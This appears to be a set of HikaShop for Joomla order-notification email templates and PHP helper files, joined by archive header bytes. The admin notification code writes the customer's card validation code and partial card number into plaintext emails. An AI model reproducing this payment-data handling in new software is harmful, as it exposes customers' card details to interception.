<td style="color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:SHIPPING_ADDRESS}</td>
</tr>
<tr>
<td>{VAR:BILLING_ADDRESS}</td>
<td>{VAR:SHIPPING_ADDRESS}</td>
</tr>
</table>
<table class="w550" border="0"
cellspacing="0" cellpadding="0" width="550"
style="margin-top:10px;margin-bottom:10px;font-family: Arial,
Helvetica, sans-serif;font-size:12px;line-height:18px;">
<tr>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:left;color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:PRODUCT_NAME}</td>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:right;color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:PRODUCT_PRICE}</td>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:right;color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:PRODUCT_QUANTITY}</td>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:right;color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:PRODUCT_TOTAL}</td>
</tr>
<!--{START:PRODUCT_LINE}-->
<tr>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;">
{LINEVAR:PRODUCT_IMG}
{LINEVAR:PRODUCT_NAME}<!--{IF:ORDER_PRODUCT_CODE}-->
{LINEVAR:PRODUCT_CODE}<!--{ENDIF:ORDER_PRODUCT_CODE}-->
{LINEVAR:PRODUCT_DOWNLOAD}
</td>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:right">{LINEVAR:PRODUCT_PRICE}</td>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:right">{LINEVAR:PRODUCT_QUANTIY}</td>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:right">{LINEVAR:PRODUCT_TOTAL}</td>
</tr>
<!--{END:PRODUCT_LINE}-->
<!--{START:ORDER_FOOTER}-->
<tr>
<td colspan="3" style="text-align:right;color:#1c8faf
!important;font-size:12px;font-weight:bold;">{LINEVAR:NAME}</td>
<td style="text-align:right">{LINEVAR:VALUE}</td>
</tr>
<!--{END:ORDER_FOOTER}-->
</table>
<!--{IF:ORDER_SUMMARY}-->
<h1 style="color:#1c8faf
!important;font-size:16px;font-weight:bold;border-bottom:1px solid
#ddd;padding-top:10px;padding-bottom:10px;">
{TXT:ADDITIONAL_INFORMATION}
</h1>
<p style="border-bottom:1px solid
#ddd;padding-bottom:10px;">
{VAR:ORDER_SUMMARY}
</p>
<!--{ENDIF:ORDER_SUMMARY}-->
<p>
{TXT:ORDER_END_MESSAGE}
</p>
</div>
</td>
<td class="w20" width="20"></td>
</tr>
</table>
</td>
</tr>
<tr style="line-height: 0px;">
<td class="w600" style="line-height:0px"
width="600" valign="top">
<img class="w600"
src="{VAR:LIVE_SITE}/media/com_hikashop/images/mail/footer_black.png"
border="0" alt="--" />
</td>
</tr>
</table>
</div>
PK�[�C�b�C�C$order_admin_notification.preload.phpnu�[���<?php
/**
* @package HikaShop for Joomla!
* @version 2.2.3
* @author hikashop.com
* @copyright (C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><?php
$app = JFactory::getApplication();
$config = hikashop_config();
$orderClass = hikashop_get('class.order');
$imageHelper = hikashop_get('helper.image');
$productClass = hikashop_get('class.product');
$fieldsClass = hikashop_get('class.field');
if(hikashop_level(2)) {
$null = null;
$itemFields =
$fieldsClass->getFields('frontcomp',$null,'item');
}
global $Itemid;
$url_itemid = '';
if(!empty($Itemid)) {
$url_itemid = '&Itemid=' . $Itemid;
}
if(!isset($data->order))
$data->order = new stdClass();
$fs =
array('order_number','order_discount_tax','order_shipping_tax','order_full_price','order_shipping_price','order_payment_price','order_discount_price','order_currency_id','order_status');
foreach($fs as $f) {
if(isset($data->$f) && !isset($data->order->$f))
$data->order->$f = $data->$f;
}
$order_url = $data->order_url;
$mail_status = $data->mail_status;
$customer = $data->customer;
$url = $data->order->order_number;
$userClass = hikashop_get('class.user');
$userClass->get(false);
$userInfos = $userClass->get($data->order_user_id);
$data->order->order_url = $order_url;
if($config->get('simplified_registration',0)!=2) {
$url = '<a href="'.$order_url.'">'.
$url.'</a>';
}
$data->cart =
$orderClass->loadFullOrder($data->order_id,true,false);
$data->cart->coupon = new stdClass();
$price = new stdClass();
$tax = $data->cart->order_subtotal -
$data->cart->order_subtotal_no_vat +
$data->order->order_discount_tax +
$data->order->order_shipping_tax;
$price->price_value = $data->order->order_full_price - $tax;
$price->price_value_with_tax = $data->order->order_full_price;
$data->cart->full_total = new stdClass;
$data->cart->full_total->prices = array($price);
$data->cart->coupon->discount_value =&
$data->order->order_discount_price;
if($app->isAdmin()) {
$view = 'order';
} else {
$view = 'address';
}
$vars = array(
'LIVE_SITE' => HIKASHOP_LIVE,
'URL' => $order_url,
'ORDER_NUMBER' => $data->order_number,
'ORDER_LINK' =>
HIKASHOP_LIVE.'administrator/index.php?option=com_hikashop&ctrl=order&task=edit&order_id='.$data->order_id,
'CUSTOMER_DETAILS' =>
JText::_('HIKA_CUSTOMER_EMAIL').':
'.$userInfos->user_email,
'ORDER_PRODUCT_CODE' =>
(bool)$config->get('show_product_code', false),
'order' => $data->cart,
'billing_address' => @$data->cart->billing_address,
'shipping_address' => @$data->cart->shipping_address,
);
$texts = array(
'BILLING_ADDRESS' =>
JText::_('HIKASHOP_BILLING_ADDRESS'),
'SHIPPING_ADDRESS' =>
JText::_('HIKASHOP_SHIPPING_ADDRESS'),
'SUMMARY_OF_THE_ORDER' =>
JText::_('SUMMARY_OF_THE_ORDER'),
'MAIL_HEADER' => JText::_('HIKASHOP_MAIL_HEADER'),
'PRODUCT_NAME' => JText::_('CART_PRODUCT_NAME'),
'PRODUCT_CODE' => JText::_('CART_PRODUCT_CODE'),
'PRODUCT_PRICE' =>
JText::_('CART_PRODUCT_UNIT_PRICE'),
'PRODUCT_QUANTITY' =>
JText::_('CART_PRODUCT_QUANTITY'),
'PRODUCT_TOTAL' => JText::_('HIKASHOP_TOTAL'),
'ADDITIONAL_INFORMATION' =>
JText::_('ADDITIONAL_INFORMATION'),
'ORDER_TITLE' => JText::_('YOUR_ORDER'),
'HI_CUSTOMER' => JText::sprintf('HI_CUSTOMER',
@$mail->to_name),
'ORDER_CHANGED' =>
JText::sprintf('ORDER_STATUS_CHANGED', $data->mail_status),
'NOTIFICATION_OF_ORDER' =>
JText::sprintf('NOTIFICATION_OF_ORDER_ON_WEBSITE',
$data->order_number, HIKASHOP_LIVE),
'ORDER_BEGIN_MESSAGE' => '',
'ORDER_END_MESSAGE' => '',
);
$templates = array();
$vars['CREDIT_CARD'] = false;
if($data->order_payment_method=='creditcard' &&
!empty($data->credit_card_info->cc_number)) {
$vars['CREDIT_CARD'] = true;
$vars['END_OF_CREDIT_CARD_NUMBER'] =
substr($data->credit_card_info->cc_number, 8);
$vars['CREDIT_CARD_OWNER'] = false;
if(!empty($data->credit_card_info->cc_owner)) {
$vars['CREDIT_CARD_OWNER'] =
$data->credit_card_info->cc_owner;
}
$vars['CARD_VALIDATION_CODE'] = false;
if(!empty($data->credit_card_info->cc_CCV)) {
$vars['CARD_VALIDATION_CODE'] =
$data->credit_card_info->cc_CCV;
}
}
$products_ids = array();
foreach($data->cart->products as $item) { $products_ids[] =
$item->product_id; }
$productClass->getProducts($products_ids);
$cartProducts = array();
$cartFooters = array();
{
$group = $config->get('group_options',0);
$subtotal = 0;
foreach($data->cart->products as $item) {
if($group && $item->order_product_option_parent_id)
continue;
$product = $productClass->all_products[$item->product_id];
$cartProduct = array(
'PRODUCT_CODE' => $item->order_product_code,
'PRODUCT_QUANTIY' => $item->order_product_quantity,
'PRODUCT_IMG' => '',
'item' => $item,
'product' => $product,
);
if(!empty($item->images[0]->file_path)) {
$img = $imageHelper->getThumbnail($item->images[0]->file_path,
array(50, 50), array('forcesize' => true, 'scale'
=> 'outside'));
if($img->success) {
$image = str_replace('../', HIKASHOP_LIVE, $img->url);
$cartProduct['PRODUCT_IMG'] = '<img
src="'.$image.'" alt=""
style="float:left;margin-top:3px;margin-bottom:3px;margin-right:6px;"/>';
}
}
$t = '<p>' . $item->order_product_name;
if($group){
$display_item_price=false;
foreach($data->cart->products as $j => $optionElement){
if($optionElement->order_product_option_parent_id !=
$item->order_product_id) continue;
if($optionElement->order_product_price>0){
$display_item_price = true;
}
}
if($display_item_price){
if($config->get('price_with_tax')){
$t .= '
'.$currencyHelper->format($item->order_product_price+$item->order_product_tax,$data->order->order_currency_id);
}else{
$t .= '
'.$currencyHelper->format($item->order_product_price,$data->order->order_currency_id);
}
}
}
$t .= '</p>';
if(!empty($itemFields)){
foreach($itemFields as $field){
$namekey = $field->field_namekey;
if(empty($item->$namekey) && !strlen($item->$namekey))
continue;
$t .=
'<p>'.$fieldsClass->getFieldName($field).':
'.$fieldsClass->show($field,$item->$namekey,'admin_email').'</p>';
}
}
if($group){
foreach($data->cart->products as $j => $optionElement){
if($optionElement->order_product_option_parent_id !=
$item->order_product_id) continue;
$item->order_product_price
+=$optionElement->order_product_price;
$item->order_product_tax +=$optionElement->order_product_tax;
$item->order_product_total_price+=$optionElement->order_product_total_price;
$item->order_product_total_price_no_vat+=$optionElement->order_product_total_price_no_vat;
$t .= '<p
class="hikashop_order_option_name">' .
$optionElement->order_product_name;
if($optionElement->order_product_price>0){
if($config->get('price_with_tax')){
$t .= ' ( +
'.$currencyHelper->format($optionElement->order_product_price+$optionElement->order_product_tax,$data->order->order_currency_id).'
)';
}else{
$t .= ' ( +
'.$currencyHelper->format($optionElement->order_product_price,$data->order->order_currency_id).'
)';
}
}
$t .= '</p>';
}
}
$cartProduct['PRODUCT_NAME'] = $t;
$t = '';
$statusDownload =
explode(',',$config->get('order_status_for_download','confirmed,shipped'));
if(!empty($item->files) &&
in_array($data->order->order_status,$statusDownload)){
$t .= '<p>';
foreach($item->files as $file){
$fileName = empty($file->file_name) ? $file->file_path :
$file->file_name;
$file_pos = empty($file->file_pos) ? '' :
('&file_pos=' . $file->file_pos);
$t .= '<a
href="'.HIKASHOP_LIVE.'administrator/index.php?option=com_hikashop&ctrl=order&task=download&file_id='.$file->file_id.'&order_id='.$data->order_id.$file_pos.'">'.$fileName.'</a><br/>';
}
$t .= '</p>';
}
$cartProduct['PRODUCT_DOWNLOAD'] = $t;
if($config->get('price_with_tax')){
$unit_price =
$currencyHelper->format($item->order_product_price+$item->order_product_tax,$data->order->order_currency_id);
$total_price =
$currencyHelper->format($item->order_product_total_price,$data->order->order_currency_id);
$subtotal += $item->order_product_total_price;
}else{
$unit_price =
$currencyHelper->format($item->order_product_price,$data->order->order_currency_id);
$total_price =
$currencyHelper->format($item->order_product_total_price_no_vat,$data->order->order_currency_id);
$subtotal += $item->order_product_total_price_no_vat;
}
$cartProduct['PRODUCT_PRICE'] = $unit_price;
$cartProduct['PRODUCT_TOTAL'] = $total_price;
$cartProducts[] = $cartProduct;
}
$templates['PRODUCT_LINE'] = $cartProducts;
if(bccomp($data->order->order_discount_price,0,5) ||
bccomp($data->order->order_shipping_price,0,5) ||
bccomp($data->order->order_payment_price,0,5) ||
($data->cart->full_total->prices[0]->price_value!=$data->cart->full_total->prices[0]->price_value_with_tax)
|| !empty($data->cart->additional)){
$cartFooters[] = array(
'NAME' => JText::_('SUBTOTAL'),
'VALUE' =>
$currencyHelper->format($subtotal,$data->order->order_currency_id)
);
}
if(bccomp($data->order->order_discount_price,0,5)) {
if($config->get('price_with_tax')) {
$t =
$currencyHelper->format($data->order_discount_price*-1,$data->order->order_currency_id);
}else{
$t =
$currencyHelper->format(($data->order_discount_price-@$data->order_discount_tax)*-1,$data->order->order_currency_id);
}
$cartFooters[] = array(
'NAME' => JText::_('HIKASHOP_COUPON'),
'VALUE' => $t
);
}
if(bccomp($data->order->order_shipping_price,0,5)){
if($config->get('price_with_tax')) {
$t =
$currencyHelper->format($data->order->order_shipping_price,$data->order->order_currency_id);
}else{
$t =
$currencyHelper->format($data->order->order_shipping_price-@$data->order->order_shipping_tax,$data->order->order_currency_id);
}
$cartFooters[] = array(
'NAME' => JText::_('HIKASHOP_SHIPPING'),
'VALUE' => $t
);
}
if(bccomp($data->order->order_payment_price,0,5)){
$cartFooters[] = array(
'NAME' => JText::_('HIKASHOP_PAYMENT'),
'VALUE' =>
$currencyHelper->format($data->order->order_payment_price,$data->order->order_currency_id)
);
}
if(!empty($data->cart->additional)) {
$exclude_additionnal = explode(',',
$config->get('order_additional_hide', ''));
foreach($data->cart->additional as $additional) {
if(in_array($additional->order_product_name, $exclude_additionnal))
continue;
if(!empty($additional->order_product_price) ||
empty($additionaltionnal->order_product_options)) {
if($config->get('price_with_tax')){
$t = $currencyHelper->format($additional->order_product_price +
@$additional->order_product_tax,
$data->order->order_currency_id);
}else{
$t = $currencyHelper->format($additional->order_product_price,
$data->order->order_currency_id);
}
} else {
$t = $additional->order_product_options;
}
$cartFooters[] = array(
'NAME' => JText::_($additional->order_product_name),
'VALUE' => $t
);
}
}
if($data->cart->full_total->prices[0]->price_value!=$data->cart->full_total->prices[0]->price_value_with_tax)
{
if($config->get('detailed_tax_display') &&
!empty($data->cart->order_tax_info)) {
foreach($data->cart->order_tax_info as $tax) {
$cartFooters[] = array(
'NAME' => $tax->tax_namekey,
'VALUE' =>
$currencyHelper->format($tax->tax_amount,$data->order->order_currency_id)
);
}
} else {
$cartFooters[] = array(
'NAME' => JText::_('ORDER_TOTAL_WITHOUT_VAT'),
'VALUE' =>
$currencyHelper->format($data->cart->full_total->prices[0]->price_value,$data->order->order_currency_id)
);
}
$cartFooters[] = array(
'NAME' => JText::_('ORDER_TOTAL_WITH_VAT'),
'VALUE' =>
$currencyHelper->format($data->cart->full_total->prices[0]->price_value_with_tax,$data->order->order_currency_id)
);
} else {
$cartFooters[] = array(
'NAME' => JText::_('HIKASHOP_FINAL_TOTAL'),
'VALUE' =>
$currencyHelper->format($data->cart->full_total->prices[0]->price_value_with_tax,$data->order->order_currency_id)
);
}
$templates['ORDER_FOOTER'] = $cartFooters;
}
if(!empty($data->cart->order_payment_method)) {
if(!is_numeric($data->cart->order_payment_id)){
$vars['PAYMENT'] =
$data->cart->order_payment_method.'
'.$data->cart->order_payment_id;
}else{
$paymentClass = hikashop_get('class.payment');
$payment = $paymentClass->get($data->cart->order_payment_id);
if(!empty($payment))
$vars['PAYMENT'] = $payment->payment_name;
unset($paymentClass);
}
}
if(!empty($data->cart->order_shipping_id)) {
$shippingClass = hikashop_get('class.shipping');
if(!empty($data->cart->order_shipping_method)) {
if(!is_numeric($data->cart->order_shipping_id)){
$shipping_name =
$shippingClass->getShippingName($data->cart->order_shipping_method,
$data->cart->order_shipping_id);
$vars['SHIPPING'] = $shipping_name;
$vars['SHIPPING_TXT'] = $vars['SHIPPING'];
}else{
$shipping =
$shippingClass->get($data->cart->order_shipping_id);
$vars['SHIPPING'] = $shipping->shipping_name;
$vars['SHIPPING_TXT'] = $vars['SHIPPING'];
}
} else {
$shippings_data = array();
$shipping_ids = explode(';',
$data->cart->order_shipping_id);
foreach($shipping_ids as $key) {
$shipping_data = '';
list($k, $w) = explode('@', $key);
$shipping_id = $k;
if(isset($data->cart->shippings[$shipping_id])) {
$shipping = $data->cart->shippings[$shipping_id];
$shipping_data = $shipping->shipping_name;
} else {
foreach($data->cart->products as $order_product) {
if($order_product->order_product_shipping_id == $key) {
if(!is_numeric($order_product->order_product_shipping_id)){
$shipping_name =
$shippingClass->getShippingName($order_product->order_product_shipping_method,
$shipping_id);
$shipping_data = $shipping_name;
}else{
$shipping_method_data = $shippingClass->get($shipping_id);
$shipping_data = $shipping_method_data->shipping_name;
}
break;
}
}
if(empty($shipping_data))
$shipping_data = '[ ' . $key . ' ]';
}
if(isset($data->cart->order_shipping_params->prices[$key])) {
$price_params =
$data->cart->order_shipping_params->prices[$key];
if($config->get('price_with_tax')){
$shipping_data .= ' (' .
$currencyHelper->format($price_params->price_with_tax,
$data->cart->order_currency_id) . ')';
}else{
$shipping_data .= ' (' .
$currencyHelper->format($price_params->price_with_tax -
@$price_params->tax, $data->cart->order_currency_id) .
')';
}
}
$shippings_data[] = $shipping_data;
}
if(!empty($shippings_data)) {
$vars['SHIPPING'] =
'<ul><li>'.implode('</li><li>',
$shippings_data).'</li></ul>';
$vars['SHIPPING_TXT'] = ' - ' . implode("\r\n -
", $shippings_data);
}
}
unset($shippingClass);
} else {
$vars['SHIPPING'] = '';
}
ob_start();
$sep = '';
if(hikashop_level(2)) {
$fields =
$fieldsClass->getFields('frontcomp',$data,'order','');
foreach($fields as $fieldName => $oneExtraField) {
if(empty($data->order->$fieldName))
continue;
echo $sep .
$fieldsClass->trans($oneExtraField->field_realname).' :
'.$fieldsClass->show($oneExtraField,
$data->order->$fieldName,'admin_email');
$sep = '<br />';
}
}
JPluginHelper::importPlugin('hikashop');
$dispatcher = JDispatcher::getInstance();
$dispatcher->trigger('onAfterOrderProductsListingDisplay',
array(&$data->cart, 'email_notification_html'));
$content = ob_get_clean();
$vars['ORDER_SUMMARY'] = $content;
$vars['BILLING_ADDRESS'] = '';
$vars['SHIPPING_ADDRESS'] = '';
$params = null;
$js = '';
$fieldsClass = hikashop_get('class.field');
$template =
trim(hikashop_getLayout($view,'address_template',$params,$js));
if(!empty($data->cart->billing_address) &&
!empty($data->cart->fields)){
$billing = ''.$template;
foreach($data->cart->fields as $field){
$fieldname = $field->field_namekey;
if(!empty($data->cart->billing_address->$fieldname))
$billing=str_replace('{'.$fieldname.'}',$fieldsClass->show($field,$data->cart->billing_address->$fieldname),$billing);
}
$vars['BILLING_ADDRESS'] =
str_replace(array("\r\n","\r","\n"),'<br/>',preg_replace('#{(?:(?!}).)*}#i','',$billing));
}
if(!empty($data->cart->override_shipping_address)) {
$vars['SHIPPING_ADDRESS'] =
$data->cart->override_shipping_address;
} elseif(!empty($data->order_shipping_id) &&
!empty($data->cart->shipping_address)) {
$shipping = ''.$template;
foreach($data->cart->fields as $field) {
$fieldname = $field->field_namekey;
if(!empty($data->cart->shipping_address->$fieldname))
$shipping=str_replace('{'.$fieldname.'}',$fieldsClass->show($field,$data->cart->shipping_address->$fieldname),$shipping);
}
$vars['SHIPPING_ADDRESS'] =
str_replace(array("\r\n","\r","\n"),'<br/>',preg_replace('#{(?:(?!}).)*}#i','',$shipping));
} else {
$vars['SHIPPING_ADDRESS'] = $vars['BILLING_ADDRESS'];
}
PK�[S���uu$order_admin_notification.preview.phpnu�[���<?php
/**
* @package HikaShop for Joomla!
* @version 4.4.1
* @author hikashop.com
* @copyright (C) 2010-2021 HIKARI SOFTWARE. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><?php
class order_admin_notificationPreviewMaker {
public $displaySubmitButton = false;
public $type = 'order';
public function prepareMail($data = null) {
if(empty($data))
return $this->getDefaultData();
$orderClass = hikashop_get('class.order');
$order = $orderClass->loadNotification((int)$data,
'order_admin_notification');
return $order->mail;
}
public function getDefaultData() {
}
public function getSelector($data) {
$nameboxType = hikashop_get('type.namebox');
$html = $nameboxType->display(
'data',
(int)$data,
hikashopNameboxType::NAMEBOX_SINGLE,
'order',
array(
'delete' => false,
'default_text' =>
'<em>'.JText::_('HIKA_NONE').'</em>',
'returnOnEmpty' => false,
)
);
if(!$html){
hikashop_display(JText::_('PLEASE_FIRST_CREATE_AN_ORDER'),
'info');
return;
}
if(empty($data)) {
echo
hikashop_display(Jtext::_('PLEASE_SELECT_AN_ORDER_FOR_THE_PREVIEW'));
}
?>
<dl class="hika_options">
<dt>
<?php echo JText::_('HIKASHOP_ORDER'); ?>
</dt>
<dd>
<?php echo $html; ?>
</dd>
</dl>
<script type="text/javascript">
window.hikashop.ready(function() {
var w = window;
if(!w.oNameboxes['data'])
return;
w.oNameboxes['data'].register('set', function(e) {
hikashop.submitform('preview','adminForm');
});
});
</script>
<?php
}
}
PK�[��..!order_admin_notification.text.phpnu�[���<?php
/**
* @package HikaShop for Joomla!
* @version 2.2.3
* @author hikashop.com
* @copyright (C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><?php
$url =
HIKASHOP_LIVE.'administrator/index.php?option=com_hikashop&ctrl=order&task=edit&order_id='.$data->order_id;
echo
JText::sprintf('ORDER_STATUS_CHANGED',$data->mail_status)."\r\n\r\n".JText::sprintf('NOTIFICATION_OF_ORDER_ON_WEBSITE',$data->order_number,HIKASHOP_LIVE);
echo "\r\n\r\n".JText::_('HIKA_EMAIL').':
'.$data->customer->user_email[0];
$currency = hikashop_get('class.currency');
echo "\r\n\r\n".JText::_('HIKASHOP_TOTAL').' :
'.$currency->format($data->order_full_price,$data->order_currency_id);
echo
"\r\n".str_replace('<br/>',"\r\n",JText::sprintf('ACCESS_ORDER_WITH_LINK',$url));
if($data->order_payment_method=='creditcard' &&
!empty($data->credit_card_info->cc_number)){
echo
"\r\n".JText::_('CUSTOMER_PAID_WITH_CREDIT_CARD');
if(!empty($data->credit_card_info->cc_owner)){
echo "\r\n".JText::_('CREDIT_CARD_OWNER').' :
'.$data->credit_card_info->cc_owner;
}
echo
"\r\n".JText::_('END_OF_CREDIT_CARD_NUMBER').' :
'.substr($data->credit_card_info->cc_number,8);
if(!empty($data->credit_card_info->cc_CCV)){
echo "\r\n".JText::_('CARD_VALIDATION_CODE').' :
'.$data->credit_card_info->cc_CCV;
}
echo "\r\n".JText::_('CREDITCARD_WARNING');
}
$fieldsClass = hikashop_get('class.field');
$fields =
$fieldsClass->getFields('frontcomp',$data,'order','');
foreach($fields as $fieldName => $oneExtraField) {
$fieldData = trim(@$data->$fieldName);
if(empty($fieldData)) continue;
echo
"\r\n".$fieldsClass->trans($oneExtraField->field_realname).'
: '.$fieldsClass->show($oneExtraField,$data->$fieldName);
}
PK�[/�@��order_cancel.html.phpnu�[���<?php
/**
* @package HikaShop for Joomla!
* @version 2.2.3
* @author hikashop.com
* @copyright (C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><?php
$url =
HIKASHOP_LIVE.'administrator/index.php?option=com_hikashop&ctrl=order&task=edit&order_id='.$data->order_id;
echo JText::_('ORDER_CANCEL_BY_USER');?>
<br/><br/>
<?php echo JText::sprintf('NOTIFICATION_OF_ORDER_ON_WEBSITE',
$data->order_number, HIKASHOP_LIVE);?><br/>
<?php echo JText::sprintf('ACCESS_TO_THE_ORDER',$url);?>
<br/>
<?php echo JText::_('MAKE_A_REFUND_IF_POSSIBLE'); ?>
PK�[)a�1��$order_creation_notification.html.phpnu�[���<?php
/**
* @package HikaShop for Joomla!
* @version 2.2.3
* @author hikashop.com
* @copyright (C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><style type="text/css">
body { background-color:#ffffff; color:#575757; }
.ReadMsgBody{width:100%;}
.ExternalClass{width:100%;}
div, p, a, li, td {-webkit-text-size-adjust:none;}
@media (min-width:600px){
body {width:600px !important;margin:auto !important;}
.pict img {max-width:500px !important;height:auto !important;}
}
@media (max-width:330px){
body{width:300px !important; margin:auto !important;}
table[class=w600], td[class=w600], table[class=w598], td[class=w598],
table[class=w500], td[class=w500], img[class="w600"]{width:100%
!important;}
td[class="w49"] { width: 10px !important;}
.pict img {max-width:278px; height:auto !important;}
}
@media (min-width:331px) and (max-width:480px){
body{width:450px !important; margin:auto !important;}
table[class=w600], td[class=w600], table[class=w598], td[class=w598],
table[class=w500], td[class=w500], img[class="w600"]{width:100%
!important;}
td[class="w49"] { width: 20px !important;}
.pict img {max-width:408px; height:auto !important;}
}
h1{color:#1c8faf;font-size:16px;font-weight:bold;border-bottom:1px solid
#ddd; padding-bottom:10px;}
h2{color:#89a9c1;font-size:14px;font-weight:bold;margin-top:20px;margin-bottom:5px;border-bottom:1px
solid #d6d6d6;padding-bottom:4px;}
a:visited{cursor:pointer;color:#2d9cbb;text-decoration:none;border:none;}
</style>
<div style="font-family:Arial,
Helvetica,sans-serif;font-size:12px;line-height:18px;width:100%;background-color:#ffffff;padding-bottom:20px;color:#5b5b5b;">
<div class="hikashop_online" style="font-family:Arial,
Helvetica,sans-serif;font-size:11px;line-height:18px;color:#6a5c6b;text-decoration:none;margin:10px;text-align:center;">
<a
style="cursor:pointer;color:#2d9cbb;text-decoration:none;border:none;"
href="{VAR:URL}">
<span class="hikashop_online"
style="color:#6a5c6b;text-decoration:none;font-size:11px;margin-top:10px;margin-bottom:10px;text-align:center;">
{TXT:MAIL_HEADER}
</span>
</a>
</div>
<table class="w600" style="font-family:Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;margin:auto;background-color:#ebebeb;"
border="0" cellspacing="0" cellpadding="0"
width="600" align="center">
<tr style="line-height: 0px;">
<td class="w600" style="line-height:0px"
width="600" valign="bottom">
<img class="w600"
src="{VAR:LIVE_SITE}media/com_hikashop/images/mail/header.png"
border="0" alt="" />
</td>
</tr>
<tr>
<td class="w600" style="" width="600"
align="center">
<table class="w600" border="0"
cellspacing="0" cellpadding="0" width="600"
style="margin:0px;font-family: Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;">
<tr>
<td class="w20" width="20"></td>
<td class="w560 pict" style="text-align:left;
color:#575757" width="560">
<div id="title" style="font-family: Arial,
Helvetica, sans-serif;font-size:12px;line-height:18px;">
<img
src="{VAR:LIVE_SITE}/media/com_hikashop/images/icons/icon-48-order.png"
border="0" alt=""
style="float:left;margin-right:4px;"/>
<h1 style="color:#1c8faf
!important;font-size:16px;font-weight:bold; border-bottom:1px solid #ddd;
padding-bottom:10px">
{TXT:ORDER_TITLE}
</h1>
<h2 style="color:#1c8faf
!important;font-size:12px;font-weight:bold; padding-bottom:10px">
{TXT:ORDER_CREATED}
</h2>
</div>
</td>
<td class="w20" width="20"></td>
</tr>
<tr>
<td class="w20" width="20"></td>
<td style="border:1px solid
#adadad;background-color:#ffffff;">
<div class="w550" width="550"
id="content" style="font-family: Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;margin-left:5px;margin-right:5px;">
<p>
<h3 style="color:#393939 !important; font-size:14px;
font-weight:normal;
font-weight:bold;margin-bottom:0px;padding:0px;">{TXT:HI_CUSTOMER}</h3>
{TXT:ORDER_BEGIN_MESSAGE}
</p>
<table class="w550" border="0"
cellspacing="0" cellpadding="0" width="550"
style="margin-top:10px;font-family: Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;">
<tr>
<td style="color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:BILLING_ADDRESS}</td>
<td style="color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:SHIPPING_ADDRESS}</td>
</tr>
<tr>
<td>{VAR:BILLING_ADDRESS}</td>
<td>{VAR:SHIPPING_ADDRESS}</td>
</tr>
</table>
<h1 style="color:#1c8faf
!important;font-size:16px;font-weight:bold;border-bottom:1px solid
#ddd;padding-top:10px;padding-bottom:10px;">
{TXT:SUMMARY_OF_YOUR_ORDER}
</h1>
<table class="w550" border="0"
cellspacing="0" cellpadding="0" width="550"
style="margin-top:10px;margin-bottom:10px;font-family: Arial,
Helvetica, sans-serif;font-size:12px;line-height:18px;">
<tr>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:left;color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:PRODUCT_NAME}</td>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:right;color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:PRODUCT_PRICE}</td>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:right;color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:PRODUCT_QUANTITY}</td>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:right;color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:PRODUCT_TOTAL}</td>
</tr>
<!--{START:PRODUCT_LINE}-->
<tr>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;">
{LINEVAR:PRODUCT_IMG}
{LINEVAR:PRODUCT_NAME}<!--{IF:ORDER_PRODUCT_CODE}-->
{LINEVAR:PRODUCT_CODE}<!--{ENDIF:ORDER_PRODUCT_CODE}-->
{LINEVAR:PRODUCT_DOWNLOAD}
</td>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:right">{LINEVAR:PRODUCT_PRICE}</td>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:right">{LINEVAR:PRODUCT_QUANTIY}</td>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:right">{LINEVAR:PRODUCT_TOTAL}</td>
</tr>
<!--{END:PRODUCT_LINE}-->
<!--{START:ORDER_FOOTER}-->
<tr>
<td colspan="3" style="text-align:right;color:#1c8faf
!important;font-size:12px;font-weight:bold;">{LINEVAR:NAME}</td>
<td style="text-align:right">{LINEVAR:VALUE}</td>
</tr>
<!--{END:ORDER_FOOTER}-->
</table>
<!--{IF:PAYMENT}-->
<p>
<span style="color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:PAYMENT_METHOD}
:</span> {VAR:PAYMENT}
</p>
<!--{ENDIF:PAYMENT}-->
<!--{IF:SHIPPING}-->
<p>
<span style="color:#1c8faf
